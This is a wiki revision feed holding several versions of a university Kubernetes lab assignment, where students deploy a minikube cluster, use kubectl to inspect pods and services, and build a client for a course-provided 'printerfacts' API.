Students are expected to complete Part 1 and Part 3 to get a grade of at most a B+. Part 2 is optional, but must be completed to receive a grade of A- or higher. Marks will be deducted for insufficient explanations or answers that demonstrate a lack of effort. By this logic, you should have a fairly clear idea of what grade you will receive when you submit this experience, based on how much effort you put in.&lt;br /&gt;
&lt;br /&gt;
== Setting Up Your Environment ==&lt;br /&gt;
&lt;br /&gt;
To get started, you will need to run a few commands on your OpenStack course VM to set up the environment. If you are not yet on OpenStack, please get set up as quickly as possible. We have a [https://homeostasis.scs.carleton.ca/wiki/index.php/DistOS_2021F:_Using_Openstack detailed setup guide available] if you need assistance.&lt;br /&gt;
&lt;br /&gt;
# SSH into your VM using your preferred SSH client. Remember that your username and password are both &amp;lt;code&amp;gt;student&amp;lt;/code&amp;gt; by default.&lt;br /&gt;
# If you haven’t already, &#039;&#039;&#039;change your password&#039;&#039;&#039; with the &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; command.&lt;br /&gt;
# Set up a simple minikube cluster using &amp;lt;code&amp;gt;minikube start&amp;lt;/code&amp;gt;. After running this command, you should see some information printed to your terminal as minikube sets up your environment. Let the command run to completion.&lt;br /&gt;
# Download the &amp;lt;code&amp;gt;deployment.yml&amp;lt;/code&amp;gt; file to your VM using &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;[https://homeostasis.scs.carleton.ca/~soma/distos/2021f/experiences/deployment.yml &amp;lt;code&amp;gt;https://homeostasis.scs.carleton.ca/~soma/distos/2021f/experiences/deployment.yml&amp;lt;/code&amp;gt;].&lt;br /&gt;
# Deploy the experience 1 configuration by running &amp;lt;code&amp;gt;kubectl apply -f deployment.yml&amp;lt;/code&amp;gt;. This should download some container images and create the necessary Kubernetes API objects to run our simple “distributed” application.&lt;br /&gt;
&lt;br /&gt;
= Tasks =&lt;br /&gt;
&lt;br /&gt;
== Part 1: Getting Started With Kubernetes (Easy) ==&lt;br /&gt;
&lt;br /&gt;
Follow the instructions for each of the following numbered tasks. Make an effort to answer the accompanying questions, but more importantly please note down all of your observations and describe what you did for each task. You should also feel free to write down whatever questions you may have about a given task.&lt;br /&gt;
&lt;br /&gt;
To achieve the best possible grade in this section, you must demonstrate that you have made an effort to understand the results of each task. (Note that an effort does not strictly mean a full understanding; it is okay to have questions!)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: decimal;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Kubernetes deploys Linux containers as “Pods”, which form an even higher-level abstraction around the container itself. In addition to Pods, Kubernetes supports several other API objects that abstract over various distributed systems concepts. The simple deployment you have installed uses a few of these API objects. Using &amp;lt;code&amp;gt;kubectl get &amp;amp;lt;object type&amp;amp;gt;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;kubectl explain &amp;amp;lt;object type&amp;amp;gt;&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;kubectl describe &amp;amp;lt;object name&amp;amp;gt;&amp;lt;/code&amp;gt;, identify at least three different kinds of API object that are used in our deployment and briefly describe what they do. You can refer to &amp;lt;code&amp;gt;kubectl --help&amp;lt;/code&amp;gt; as needed to explain what these commands do.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint 1: Some resources are encapsulated by multiple layers of abstraction. Each “layer” counts as a unique type of object for the purposes of this question.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint 2: The command &amp;lt;code&amp;gt;kubectl api-resources&amp;lt;/code&amp;gt; will enumerate a full list of all supported API objects. You may also wish to consult [https://kubernetes.io/docs/concepts/workloads/pods/ the relevant documentation] if you are stuck.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint 3: You may want to have a look at the contents of the &amp;lt;code&amp;gt;deployment.yml&amp;lt;/code&amp;gt; file.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Run &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt; to see a list of the pods that are running in your cluster. You should notice several &amp;lt;code&amp;gt;comp4000server&amp;lt;/code&amp;gt; pods and one &amp;lt;code&amp;gt;comp4000client&amp;lt;/code&amp;gt; pod. Spawn an interactive shell into the &amp;lt;code&amp;gt;comp4000client&amp;lt;/code&amp;gt; pod using &amp;lt;code&amp;gt;kubectl exec comp4000client -it -- /bin/sh&amp;lt;/code&amp;gt;. Examine the layout of your container’s filesystem. What files and directories exist? Do you think these files exist on your VM or somewhere else? What commands can you run? Hint: Try running &amp;lt;code&amp;gt;cd ..&amp;lt;/code&amp;gt; to leave the empty &amp;lt;code&amp;gt;/client&amp;lt;/code&amp;gt; directory.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Our cluster exposes the &amp;lt;code&amp;gt;comp4000server&amp;lt;/code&amp;gt; pods using a &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service. To find its IP address, start by spawning another terminal by starting another SSH session. (You should probably have &#039;&#039;at least&#039;&#039; two terminals open for the rest of this experience.) In your second terminal, run &amp;lt;code&amp;gt;kubectl get services&amp;lt;/code&amp;gt; and copy the &amp;lt;code&amp;gt;CLUSTER-IP&amp;lt;/code&amp;gt; next to the &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service. From inside your &amp;lt;code&amp;gt;comp4000client&amp;lt;/code&amp;gt; container, use &amp;lt;code&amp;gt;curl &amp;amp;lt;IP address here&amp;amp;gt;&amp;lt;/code&amp;gt; to send a GET request to the &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service. Repeat the same command a few different times. What do you notice about the output? Explain.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: Try running &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt; again to refresh your memory about the topology of our cluster.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;The simple web server running behind our &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service exposes a convenient end point called &amp;lt;code&amp;gt;/crashme&amp;lt;/code&amp;gt; that bricks the server. Try calling this end point several times like &amp;lt;code&amp;gt;for i in $(seq 1 20); do curl &amp;amp;lt;IP address here&amp;amp;gt;/crashme; done&amp;lt;/code&amp;gt;, then try interacting with the servers after a few moments. Repeat the same experiment, but this time run &amp;lt;code&amp;gt;kubectl get pods -w&amp;lt;/code&amp;gt; in another terminal to watch the status of your pods in real time. What do you think is happening? Try to come up with an explanation for the behaviour you see.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Another end point &amp;lt;code&amp;gt;/count&amp;lt;/code&amp;gt; returns a count of how many GET requests the server has processed. Try spamming our &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; with requests to &amp;lt;code&amp;gt;/count&amp;lt;/code&amp;gt; like &amp;lt;code&amp;gt;for i in $(seq 1 4000); do curl &amp;amp;lt;IP address here&amp;amp;gt;/count; done&amp;lt;/code&amp;gt;. What do you notice about the count for each server? Try to explain what you see. Hint: Think all the way back to the second question.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Try scaling up the replication count of &amp;lt;code&amp;gt;comp4000server&amp;lt;/code&amp;gt;. You can do this using &amp;lt;code&amp;gt;kubectl scale deployment comp4000server --replicas &amp;amp;lt;n&amp;amp;gt;&amp;lt;/code&amp;gt; where &amp;lt;code&amp;gt;&amp;amp;lt;n&amp;amp;gt;&amp;lt;/code&amp;gt; is a number of your choosing. Try this a few different times with different numbers and examine the output of &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt; each time. You might also want to try repeating some of the earlier exercises with your newly scaled deployment.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Part 2: Deploying a Custom Container Image (Hard) ==&lt;br /&gt;
&lt;br /&gt;
The simple web server for this experience has one last end point: &amp;lt;code&amp;gt;/printerfacts&amp;lt;/code&amp;gt;. Making an HTTP GET request to this end point returns some totally non-suspicious facts about printers. Your task is to write a simple client application (in any language of your choosing) to consume the &amp;lt;code&amp;gt;printerfacts&amp;lt;/code&amp;gt; API in some way. Feel free to be as creative as you like.&lt;br /&gt;
&lt;br /&gt;
Once you have written your application, containerize it and deploy it to your cluster in any way you see fit. For example, you may wish to replicate it, make it stateful (e.g. persist a simple database), or expose it to the outside world using a &amp;lt;code&amp;gt;LoadBalancer&amp;lt;/code&amp;gt; service.&lt;br /&gt;
&lt;br /&gt;
Tell us about what you did and how you did it. In particular, we want to hear about the parts you had difficulty with, any ideas you had that didn’t pan out, what ended up working, and how your deployment fits together with the rest of the cluster.&lt;br /&gt;
&lt;br /&gt;
Points for this question will be awarded based on:&lt;br /&gt;
&lt;br /&gt;
# The sophistication of your deployment. (Challenge yourself!)&lt;br /&gt;
# The quality of your explanation.&lt;br /&gt;
&lt;br /&gt;
Here are some hints to help you get started:&lt;br /&gt;
&lt;br /&gt;
# When you are creating your container image, you need to take extra care to ensure Kubernetes uses your local image. To do this, run &amp;lt;code&amp;gt;eval $(minikube docker-env)&amp;lt;/code&amp;gt; before running any &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; commands in your shell. In your &amp;lt;code&amp;gt;deployment.yml&amp;lt;/code&amp;gt;, set &amp;lt;code&amp;gt;imagePullPolicy: Never&amp;lt;/code&amp;gt; under the &amp;lt;code&amp;gt;container&amp;lt;/code&amp;gt; field to force it to use your local image.&lt;br /&gt;
# You can create a new container image by writing a Dockerfile for it and running &amp;lt;code&amp;gt;docker build -t &amp;amp;lt;name&amp;amp;gt; .&amp;lt;/code&amp;gt; to build it.&lt;br /&gt;
# You can modify the &amp;lt;code&amp;gt;deployment.yml&amp;lt;/code&amp;gt; file to create your API object, then re-deploy it by running the same &amp;lt;code&amp;gt;kubectl apply -f&amp;lt;/code&amp;gt; command from earlier. Feel free to copy-paste and/or modify any of the existing configuration.&lt;br /&gt;
&lt;br /&gt;
== Part 3: Reflection ==&lt;br /&gt;
&lt;br /&gt;
Summarize your experience with Kubernetes in a few paragraphs (both the good and the bad). What concepts do you see reflected here from the research papers we have read thus far? After having some hands-on experience with a distributed system technology, have any of your opinions or initial assumptions changed? Feel free to list any other thoughts you have.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
&lt;br /&gt;
The idea for the printerfacts API comes from Christine Dodrill’s [https://christine.website/blog/dev-printerfact-2021-04-17 wonderful blog post].&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_1&amp;diff=23336</id>
		<title>DistOS 2021F Experience 1</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_1&amp;diff=23336"/>
		<updated>2021-09-26T17:34:58Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= COMP4000 Implementation Experience 1: Getting Started with Kubernetes =&lt;br /&gt;
&lt;br /&gt;
In this implementation experience, you will be configuring and deploying a simple “hello world” Kubernetes cluster using &amp;lt;code&amp;gt;minikube&amp;lt;/code&amp;gt;. While your cluster is not yet truly “distributed”, it behaves just as a real Kubernetes cluster would. For more information on Kubernetes configuration, you may wish to consult the [https://kubernetes.io/docs/concepts/ official documentation]. Links to specific documentation items will also be provided as hints later on in this document.&lt;br /&gt;
&lt;br /&gt;
With the exception of Part 2, completing this experience shouldn’t take more than a couple of hours. Feel free to collaborate with other students if you get stuck. However, &#039;&#039;&#039;you must acknowledge any collaboration&#039;&#039;&#039;. Additionally, &#039;&#039;&#039;copying and pasting or simply “changing up” each other’s answers will be treated as an academic integrity violation&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Submissions ==&lt;br /&gt;
&lt;br /&gt;
Your experience report should be submitted as a PDF file on Brightspace, written in &#039;&#039;&#039;paragraph form&#039;&#039;&#039;. Code snippets or screen shots are allowed to augment your prose but are not required. We will post a submission link on Brightspace within the next few days.&lt;br /&gt;
&lt;br /&gt;
The experience report is &#039;&#039;&#039;due on November 2nd, 2021&#039;&#039;&#039;. However, it may be a good idea to get started as quickly as possible, especially if you plan on doing an implementation-focused final project.&lt;br /&gt;
&lt;br /&gt;
== Receiving Your Grade ==&lt;br /&gt;
&lt;br /&gt;
This experience is broken up into three parts:&lt;br /&gt;
&lt;br /&gt;
# A series of easy tasks designed to get you familiar with setting up a simple Kubernetes cluster.&lt;br /&gt;
# A harder challenge that involves you deploying your own image in your cluster to interact with a simple API.&lt;br /&gt;
# An opportunity to reflect on your experiences with Kubernetes and make connections to overall themes in the course.&lt;br /&gt;
&lt;br /&gt;
Students are expected to complete Part 1 and Part 3 to get a grade of at most B. Part 2 is optional, but must be completed to receive a grade of A- or higher. Marks will be deducted for insufficient explanations or answers that demonstrate a lack of effort. By this logic, you should have a fairly clear idea of what grade you will receive when you submit this experience, based on how much effort you put in.&lt;br /&gt;
&lt;br /&gt;
== Getting Started ==&lt;br /&gt;
&lt;br /&gt;
To get started, you will need to run a few commands on your OpenStack course VM to set up the environment. If you are not yet on OpenStack, please get set up as quickly as possible. We have a [https://homeostasis.scs.carleton.ca/wiki/index.php/DistOS_2021F:_Using_Openstack detailed setup guide available] if you need assistance.&lt;br /&gt;
&lt;br /&gt;
# SSH into your VM using your preferred SSH client. Remember that your username and password are both &amp;lt;code&amp;gt;student&amp;lt;/code&amp;gt; by default.&lt;br /&gt;
# If you haven’t already, &#039;&#039;&#039;change your password&#039;&#039;&#039; with the &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; command.&lt;br /&gt;
# Set up a simple minikube cluster using &amp;lt;code&amp;gt;minikube start&amp;lt;/code&amp;gt;. After running this command, you should see some information printed to your terminal as minikube sets up your environment. Let the command run to completion.&lt;br /&gt;
# Download the &amp;lt;code&amp;gt;deployment.yml&amp;lt;/code&amp;gt; file to your VM using &amp;lt;code&amp;gt;wget    https://homeostasis.scs.carleton.ca/~soma/distos/2021f/experiences/deployment.yml&amp;lt;/code&amp;gt;.&lt;br /&gt;
# Deploy the experience 1 configuration by running &amp;lt;code&amp;gt;kubectl apply -f deployment.yml&amp;lt;/code&amp;gt;. This should download some container images and create the necessary Kubernetes API objects to run our simple “distributed” application.&lt;br /&gt;
&lt;br /&gt;
== Part 1 (Easy) ==&lt;br /&gt;
&lt;br /&gt;
Follow the instructions for each of the following numbered tasks. Make an effort to answer the accompanying questions, but more importantly please note down all of your observations and describe what you did for each task. You should also feel free to write down whatever questions you may have about a given task.&lt;br /&gt;
&lt;br /&gt;
To achieve the best possible grade in this section, you must demonstrate that you have made an effort to understand the results of each task. (Note that an effort does not strictly mean a full understanding; it is okay to have questions!)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: decimal;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Kubernetes deploys Linux containers as “Pods”, which form an even higher-level abstraction around the container itself. In addition to Pods, Kubernetes supports several other API objects that abstract over various distributed systems concepts. The simple deployment you have installed uses a few of these API objects.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Using &amp;lt;code&amp;gt;kubectl get &amp;amp;lt;object type&amp;amp;gt;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;kubectl explain &amp;amp;lt;object type&amp;amp;gt;&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;kubectl describe &amp;amp;lt;object name&amp;amp;gt;&amp;lt;/code&amp;gt;, identify at least three different kinds of API object that are used in our deployment and briefly describe what they do. You can refer to &amp;lt;code&amp;gt;kubectl --help&amp;lt;/code&amp;gt; as needed to explain what these commands do.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint 1: Some resources are encapsulated by multiple layers of abstraction. Each “layer” counts as a unique type of object for the purposes of this question.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint 2: The command &amp;lt;code&amp;gt;kubectl api-resources&amp;lt;/code&amp;gt; will enumerate a full list of all supported API objects. You may also wish to consult [https://kubernetes.io/docs/concepts/workloads/pods/ the relevant documentation] if you are stuck.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint 3: You may want to have a look at the contents of the &amp;lt;code&amp;gt;deployment.yml&amp;lt;/code&amp;gt; file.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Run &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt; to see a list of the pods that are running in your cluster. You should notice several &amp;lt;code&amp;gt;comp4000server&amp;lt;/code&amp;gt; pods and one &amp;lt;code&amp;gt;comp4000client&amp;lt;/code&amp;gt; pod. Spawn an interactive shell into the &amp;lt;code&amp;gt;comp4000client&amp;lt;/code&amp;gt; pod using &amp;lt;code&amp;gt;kubectl exec comp4000client -it    -- /bin/sh&amp;lt;/code&amp;gt;. Examine the layout of your container’s filesystem. What files and directories exist? Do you think these files exist on your VM or somewhere else? What commands can you run?&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: Try running &amp;lt;code&amp;gt;cd ..&amp;lt;/code&amp;gt; to leave the empty &amp;lt;code&amp;gt;/client&amp;lt;/code&amp;gt; directory.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Our cluster exposes the &amp;lt;code&amp;gt;comp4000server&amp;lt;/code&amp;gt; pods using a &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service. To find its IP address, start by spawning another terminal by starting another SSH session. (You should probably have &#039;&#039;at least&#039;&#039; two terminals open for the rest of this experience.) In your second terminal, run &amp;lt;code&amp;gt;kubectl get services&amp;lt;/code&amp;gt; and copy the &amp;lt;code&amp;gt;CLUSTER-IP&amp;lt;/code&amp;gt; next to the &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;From inside your &amp;lt;code&amp;gt;comp4000client&amp;lt;/code&amp;gt; container, use &amp;lt;code&amp;gt;curl &amp;amp;lt;IP address here&amp;amp;gt;&amp;lt;/code&amp;gt; to send a GET request to the &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service. Repeat the same command a few different times. What do you notice about the output? Explain.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: Try running &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt; again to refresh your memory about the topology of our cluster.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;The simple web server running behind our &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; service exposes a convenient end point called &amp;lt;code&amp;gt;/crashme&amp;lt;/code&amp;gt; that bricks the server. Try calling this end point several times like &amp;lt;code&amp;gt;for i in $(seq 1 20); do curl &amp;amp;lt;IP address here&amp;amp;gt;/crashme; done&amp;lt;/code&amp;gt;, then try interacting with the servers after a few moments.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Repeat the same experiment, but this time run &amp;lt;code&amp;gt;kubectl get pods -w&amp;lt;/code&amp;gt; in another terminal to watch the status of your pods in real time. What do you think is happening? Try to come up with an explanation for the behaviour you see.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Another end point &amp;lt;code&amp;gt;/count&amp;lt;/code&amp;gt; returns a count of how many GET requests the server has processed. Try spamming our &amp;lt;code&amp;gt;NodePort&amp;lt;/code&amp;gt; with requests to &amp;lt;code&amp;gt;/count&amp;lt;/code&amp;gt; like &amp;lt;code&amp;gt;for i in $(seq    1 4000); do curl &amp;amp;lt;IP address here&amp;amp;gt;/count; done&amp;lt;/code&amp;gt;. What do you notice about the count for each server? Try to explain what you see.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: Think all the way back to the second question.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Try scaling up the replication count of &amp;lt;code&amp;gt;comp4000server&amp;lt;/code&amp;gt;. You can do this using &amp;lt;code&amp;gt;kubectl scale deployment comp4000server --replicas &amp;amp;lt;n&amp;amp;gt;&amp;lt;/code&amp;gt; where &amp;lt;code&amp;gt;&amp;amp;lt;n&amp;amp;gt;&amp;lt;/code&amp;gt; is a number of your choosing. Try this a few different times with different numbers and examine the output of &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt; each time. You might also want to try repeating some of the earlier exercises with your newly scaled deployment.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Part 2: Deploying a Custom Container Image (Hard) ==&lt;br /&gt;
&lt;br /&gt;
The simple web server for this experience has one last end point: &amp;lt;code&amp;gt;/printerfacts&amp;lt;/code&amp;gt;. Making an HTTP GET request to this end point returns some totally non-suspicious facts about printers. Your task is to write a simple client application (in any language of your choosing) to consume the &amp;lt;code&amp;gt;printerfacts&amp;lt;/code&amp;gt; API in some way. Feel free to be as creative as you like.&lt;br /&gt;
&lt;br /&gt;
Once you have written your application, containerize it and deploy it to your cluster in any way you see fit. For example, you may wish to replicate it, make it stateful (e.g. persist a simple database), or expose it to the outside world using a &amp;lt;code&amp;gt;LoadBalancer&amp;lt;/code&amp;gt; service.&lt;br /&gt;
&lt;br /&gt;
Tell us about what you did and how you did it. In particular, we want to hear about the parts you had difficulty with, any ideas you had that didn’t pan out, what ended up working, and how your deployment fits together with the rest of the cluster.&lt;br /&gt;
&lt;br /&gt;
Points for this question will be awarded based on:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: lower-alpha;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;The sophistication of your deployment. (Challenge yourself!)&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;The quality of your explanation.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here are some hints to help you get started:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: lower-alpha;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;When you are creating your container image, you need to take extra care to ensure Kubernetes uses your local image. To do this, run &amp;lt;code&amp;gt;eval $(minikube docker-env)&amp;lt;/code&amp;gt; before running any &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; commands in your shell. In your &amp;lt;code&amp;gt;deployment.yml&amp;lt;/code&amp;gt;, set &amp;lt;code&amp;gt;imagePullPolicy: Never&amp;lt;/code&amp;gt; under the &amp;lt;code&amp;gt;container&amp;lt;/code&amp;gt; field to force it to use your local image.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;You can create a new container image by writing a Dockerfile for it and running &amp;lt;code&amp;gt;docker    build -t &amp;amp;lt;name&amp;amp;gt; .&amp;lt;/code&amp;gt; to build it.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;You can modify the &amp;lt;code&amp;gt;deployment.yml&amp;lt;/code&amp;gt; file to create your API object, then re-deploy it by running the same &amp;lt;code&amp;gt;kubectl apply -f&amp;lt;/code&amp;gt; command from earlier. Feel free to copy-paste and/or modify any of the existing configuration.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Part 3: Reflection ==&lt;br /&gt;
&lt;br /&gt;
Summarize your experience with Kubernetes in a few paragraphs (both the good and the bad). What concepts do you see reflected here from the research papers we have read thus far? After having some hands on experience with a distributed system technology, have any of your opinions or initial assumptions changed? Feel free to list any other thoughts you have.&lt;br /&gt;
&lt;br /&gt;
== Acknowledgements ==&lt;br /&gt;
&lt;br /&gt;
The idea for the printerfacts API comes from Christine Dodrill’s [https://christine.website/blog/dev-printerfact-2021-04-17 wonderful blog post].&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_1&amp;diff=23335</id>
		<title>DistOS 2021F Experience 1</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_1&amp;diff=23335"/>
		<updated>2021-09-26T17:28:31Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: Add link to deployment manifest&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= COMP4000 Implementation Experience 1: Getting Started with Kubernetes =&lt;br /&gt;
&lt;br /&gt;
In this implementation experience, you will be configuring and deploying a simple “hello world” Kubernetes cluster using &amp;lt;code&amp;gt;minikube&amp;lt;/code&amp;gt;. While your cluster is not yet truly “distributed”, it behaves just as a real Kubernetes cluster would. For more information on Kubernetes configuration, you may wish to consult the [https://kubernetes.io/docs/concepts/ official documentation]. Links to specific documentation items will also be provided as hints later on in this document.&lt;br /&gt;
&lt;br /&gt;
With the exception of Part 2, completing this experience shouldn’t take more than a couple of hours. Feel free to collaborate with other students if you get stuck. However, &#039;&#039;&#039;you must acknowledge any collaboration&#039;&#039;&#039;. Additionally, &#039;&#039;&#039;copying and pasting or simply “changing up” each other’s answers will be treated as an academic integrity violation&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Submissions ==&lt;br /&gt;
&lt;br /&gt;
Your experience report should be submitted as a PDF file on Brightspace, written in &#039;&#039;&#039;paragraph form&#039;&#039;&#039;. Code snippets or screen shots are allowed to augment your prose but are not required. We will post a submission link on Brightspace within the next few days.&lt;br /&gt;
&lt;br /&gt;
The experience report is &#039;&#039;&#039;due on November 2nd, 2021&#039;&#039;&#039;. However, it may be a good idea to get started as quickly as possible, especially if you plan on doing an implementation-focused final project.&lt;br /&gt;
&lt;br /&gt;
== Receiving Your Grade ==&lt;br /&gt;
&lt;br /&gt;
This experience is broken up into three parts:&lt;br /&gt;
&lt;br /&gt;
# A series of easy tasks designed to get you familiar with setting up a simple Kubernetes cluster.&lt;br /&gt;
# A harder challenge that involves you deploying your own image in your cluster to interact with a simple API.&lt;br /&gt;
# An opportunity to reflect on your experiences with Kubernetes and make connections to overall themes in the course.&lt;br /&gt;
&lt;br /&gt;
Students are expected to complete Part 1 and Part 3 to get a grade of at most B. Part 2 is optional, but must be completed to receive a grade of A- or higher. Marks will be deducted for insufficient explanations or answers that demonstrate a lack of effort. By this logic, you should have a fairly clear idea of what grade you will receive when you submit this experience, based on how much effort you put in.&lt;br /&gt;
&lt;br /&gt;
== Getting Started ==&lt;br /&gt;
&lt;br /&gt;
To get started, you will need to run a few commands on your OpenStack course VM to set up the environment. If you are not yet on OpenStack, please get set up as quickly as possible. We have a [https://homeostasis.scs.carleton.ca/wiki/index.php/DistOS_2021F:_Using_Openstack detailed setup guide available] if you need assistance.&lt;br /&gt;
&lt;br /&gt;
# SSH into your VM using your preferred SSH client. Remember that your username and password are both &amp;lt;code&amp;gt;student&amp;lt;/code&amp;gt; by default.&lt;br /&gt;
# If you haven’t already, &#039;&#039;&#039;change your password&#039;&#039;&#039; with the &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; command.&lt;br /&gt;
# Set up a simple minikube cluster using &amp;lt;code&amp;gt;minikube start&amp;lt;/code&amp;gt;. After running this command, you should see some information printed to your terminal as minikube sets up your environment. Let the command run to completion.&lt;br /&gt;
# Download the &amp;lt;code&amp;gt;deployment.yml&amp;lt;/code&amp;gt; file to your VM using &amp;lt;code&amp;gt;wget    https://homeostasis.scs.carleton.ca/~soma/distos/2021f/experiences/deployment.yml&amp;lt;/code&amp;gt;.&lt;br /&gt;
# Deploy the experience 1 configuration by running &amp;lt;code&amp;gt;kubectl apply -f deployment.yml&amp;lt;/code&amp;gt;. This should download some container images and create the necessary Kubernetes API objects to run our simple “distributed” application.&lt;br /&gt;
&lt;br /&gt;
== Part 1 (Easy) ==&lt;br /&gt;
&lt;br /&gt;
Follow the instructions for each of the following numbered tasks. Make an effort to answer the accompanying questions, but more importantly please note down all of your observations and describe what you did for each task. You should also feel free to write down whatever questions you may have about a given task.&lt;br /&gt;
&lt;br /&gt;
To achieve the best possible grade in this section, you must demonstrate that you have made an effort to understand the results of each task. (Note that an effort does not strictly mean a full understanding; it is okay to have questions!)&lt;br /&gt;
&lt;br /&gt;
